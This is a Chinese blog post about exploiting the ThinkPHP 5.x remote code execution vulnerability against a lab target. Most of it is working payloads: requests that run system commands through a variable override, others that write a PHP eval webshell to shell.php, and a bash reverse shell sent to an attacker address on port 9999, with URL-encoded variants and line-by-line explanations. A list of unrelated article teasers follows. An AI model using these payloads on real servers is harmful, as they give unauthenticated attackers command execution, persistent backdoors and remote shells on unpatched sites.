thinkphp5框架漏洞

条件:

根据ThinkPHP版本,如是5.x版本,即可使用ThinkPHP 5.x远程代码执行漏洞,无需登录,即可执行任意命令,获取服务器最高权限。

具体版本

5.x < 5.1.31

 5.0.x<= 5.0.23

框架介绍:

ThinkPHP是一个免费开源的,快速、简单的面向对象的
轻量级PHP开发框架,是为了敏捷WEB应用开发和简化企业应用开发而诞生的

 工具fuzz:

扫描到了

但是这里靶场搭建在本机,工具也在本机,由于工具本身的问题,可能会执行不了命令。把靶场搭建在虚拟机,再去尝试发现可以成功。

poc:  windos

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

注意:通过post方法提交上面的poc的同时,还要通过url当中传递参数?s=captcha(指定路由规则)

操作:
原因分析:

该漏洞的本质是由变量覆盖造成的rce漏洞。

poc分析

method=get 因为captcha的路由规则是get方式下的,所以我们得让method为get,才能获取到captcha的路由
s=captcha 因为在进入exec函数后我们要switch到method中执行param函数,而这个captcha的路由刚好对应类
型为method,所以我们选择captcha
filter[]=system 覆盖变量
get[]=whoami 覆盖变量
_method=__construct 为了能够进入construct,从而覆盖变量  

poc利用:
不仅可以用来执行系统命令

还可以用来写入一句话木马

补充:system函数是php当中的函数,它不仅可以用来执行系统命令也可以用来执行php代码

使用 echo向文件中输出内容的基本方法是使用IO重定向指令——“>”,默认情况下echo输出到标准输出(屏幕)中,使用>指令可重定向输出到文件中。

poc:

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php phpinfo(); ?>" > shell.php
注意echo的后面要有空格,否则写入的内容为空

 通过echo输出字符串,原本是输出到屏幕当中,这里使用文件重定向,将内容输出到指定文件当中,如果文件不存在则创建文件并写入。

虽然写入的php文件当中php代码是被双引号包裹的,但是这里文件后缀就是php,只要符合php格式的,就会以php格式去解析,所以代码还是可以执行的。

poc:Linux:

_method=__construct&filter[]=system&method=get&get[]=pwd
请求路径:index.php?s=captcha
调用system 执行whoami
TP5的验证码在
/vendor/topthink/think-
captcha 目录下,文件

get请求方法poc

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

注意:需要对特殊字符使用^转义
(cmd环境下转义方式),windows环境的echo命令输出字符串到文档不用引号(单引号、双引号),部分字符url码不编码都行。

get方法写入shell poc
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php@eval($_POST[cmd]);?^> >shell.php

反弹shell(需进行url特殊符号编码)

什么是反弹shell(reverse shell)?
就是控制端监听某TCP/UDP端口,被控端发起请求到该端口建立连接,并将其命令行的输入输出转到攻击机。

这个poc是通过post方法提交的,然后url当中还是要提交?s=captcha

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=/bin/bash+-
c+"bash+-i+>%26+/dev/tcp/192.168.188.116/9999+0>%261“
特殊url编码之后的POC
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=/bin/bash+-
c+"bash%20-i%3E%26%20%2Fdev%2Ftcp%2F192.168.188.116%2F9999%200%3E%261"

反弹shell命令解释


/bin/bash -c: 这是在Linux中执行一个shell命令的标准方式。
bash -i: 这会进入交互模式的shell
>& /dev/tcp/192.168.188.116/9999 0>&1: 这部分是一个用于将输出和输入重定向到指定IP地址和
端口的命令,实现了远程连接

使用dev/tcp协议:在执行bashshell的同时,与指定的ip和端口建立tcp连接

0> :是bash命令当中的输入输出重定向

0>&1:将输入输出连接在一起

这个里面的ip就是攻击机的ip,这段代码是要发给靶机去执行bashshell,然后弹出shell之后让他访问攻击机的IP和端口,同时因为攻击机开启了对应监听的端口,所以在攻击机就获得了靶机的shell。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/518447.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CC攻击的特征和防护措施

随着互联网的快速发展&#xff0c;网络攻击日益频繁。在目前的各种网络攻击中&#xff0c;CC攻击是一种常见的网络攻击手段之一。CC攻击&#xff08;也称为DDoS攻击&#xff09;是指通过大量请求或恶意流量向目标网站或服务器发送请求&#xff0c;以使其服务不可用。可能大家都…

Mysql date_format 格式化时间输出

网上的文章都是列一个大而全的表格&#xff0c;还有错误&#xff0c;我完全用不到那么多形式。遂自己开篇文章记录。 把datetime格式化为形如 2024-12-15 18:59:59的形式&#xff1a; %Y-%m-%d %H:%i:%S# 日期格式化输出select date_format(now(),%Y-%m-%d %H:%i:%S) time1,no…

如何通过3D线上科技展厅全方位展现企业创新实力?

随着数字化转型的加速&#xff0c;企业对于科技展示的需求日益增长&#xff0c;而3D线上科技展厅作为一种新兴的展示方式&#xff0c;正逐步成为企业展示科技成果、产品特性的重要工具。 一、全方位展示展品 线上科技展厅能够实现产品的全方位、多角度展示&#xff0c;这不仅增…

SAP在S4中,资产模块年结

在S4中&#xff0c;资产模块也发生了一些变化&#xff1a; 财政年度变更事务代码AJRW已经过时。它已被交易FAGLGVTR&#xff08;“总账&#xff1a;结转余额”&#xff09;取代。 资产会计中的所有APC变化都实时发布到总账中。因此&#xff0c;周期性的APC过账是没有用的&…

unity代码热修改HotReload

HotReload for unity支持的代码修改 下载地址 HotReload的版本:1.12.9 Unity版本:2018,2019,2020,2021,2023 打开热重装有两种方法 ●方法1:通过导航到Unity菜单栏中的“窗口”打开热重装窗口&#xff0c;然后选择“热重装”。 ●方法2:使用快捷键组合“AltShiftH”快速打开…

Ubuntu环境配置-LinuxQQ篇

本教程下载Linux QQ的版本是linuxqq_3.0.0-571_amd64.deb 一、下载LinuxQQ 直接使用wget命令下载链接&#xff0c;下载文件 wget https://dldir1.qq.com/qqfile/qq/QQNT/c005c911/linuxqq_3.0.0-571_amd64.deb 二、安装LinuxQQ 当下载完成后&#xff0c;运行命令&#xff1a;…

抖音网红老隋分享的蓝海项目是否值得去做呢?

在互联网时代&#xff0c;各种创业项目层出不穷&#xff0c;其中不少被誉为“蓝海项目”&#xff0c;意味着市场潜力巨大&#xff0c;竞争相对较小。近期&#xff0c;抖音网红老隋分享了一个备受关注的蓝海项目&#xff0c;那么&#xff0c;这个项目究竟是否值得去做呢?本文将…

录制用户操作实现自动化任务

先上视频&#xff01;&#xff01; 流程自动化工具-录制操作绘制流程 这个想法之前就有了&#xff0c;趁着周末时间给它撸出来。 实现思路 从之前的文章自动化桌面未来展望中已经验证了录制绘制流程图的可行性。基于DOM录制页面操作轨迹的思路监听页面点击、输入事件即可&…

服务器通过impitool设置BMC共享lan实现远程管理

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、NC-SI是什么&#xff1f;二、ipmitool是什么三、查看是否支持ipmi设备四、安装ipmitool五、开始配置1.查看网卡状态2.设置运行模式3.设置静态地址 六、验证…

C# LINQ基础

LINQ基础 1. 入门2. 运算符流语法2.1 连续使用查询运算符2.2 使用Lambda表达式2.2.1 Lambda表达式及Func的方法签名2.2.2 Lambda表达式和元素类型2.2.3 自然排序2.2.4 其他查询运算符 3 查询表达式4 延迟执行4.1 重复执行4.2 捕获的变量4.3 延迟加载的工作原理4.4 查询语句的执…

Unity背景模糊图片高斯模糊高性能的实现方案

环境&#xff1a; unity2021.3.x 效果&#xff1a; 模糊前&#xff1a; 模糊后&#xff1a; 模糊前&#xff1a; 模糊后&#xff1a; 实现核心思路(shader)&#xff1a; SubShader {CGINCLUDE#include "UnityCG.cginc"sampler2D _MainTex; // 主纹理half4 _MainTe…

Autosar教程-Mcal教程-GPT配置教程

3.3GPT配置、生成 3.3.1 GPT配置所需要的元素 GPT实际上就是硬件定时器,需要配置的元素有: 1)定时器时钟:定时器要工作需要使能它的时钟源 2)定时器分步:时钟源进到定时器后可以通过分频后再给到定时器 定时器模块选择:MCU有多个定时器模块,需要决定使用哪个定时器模块作…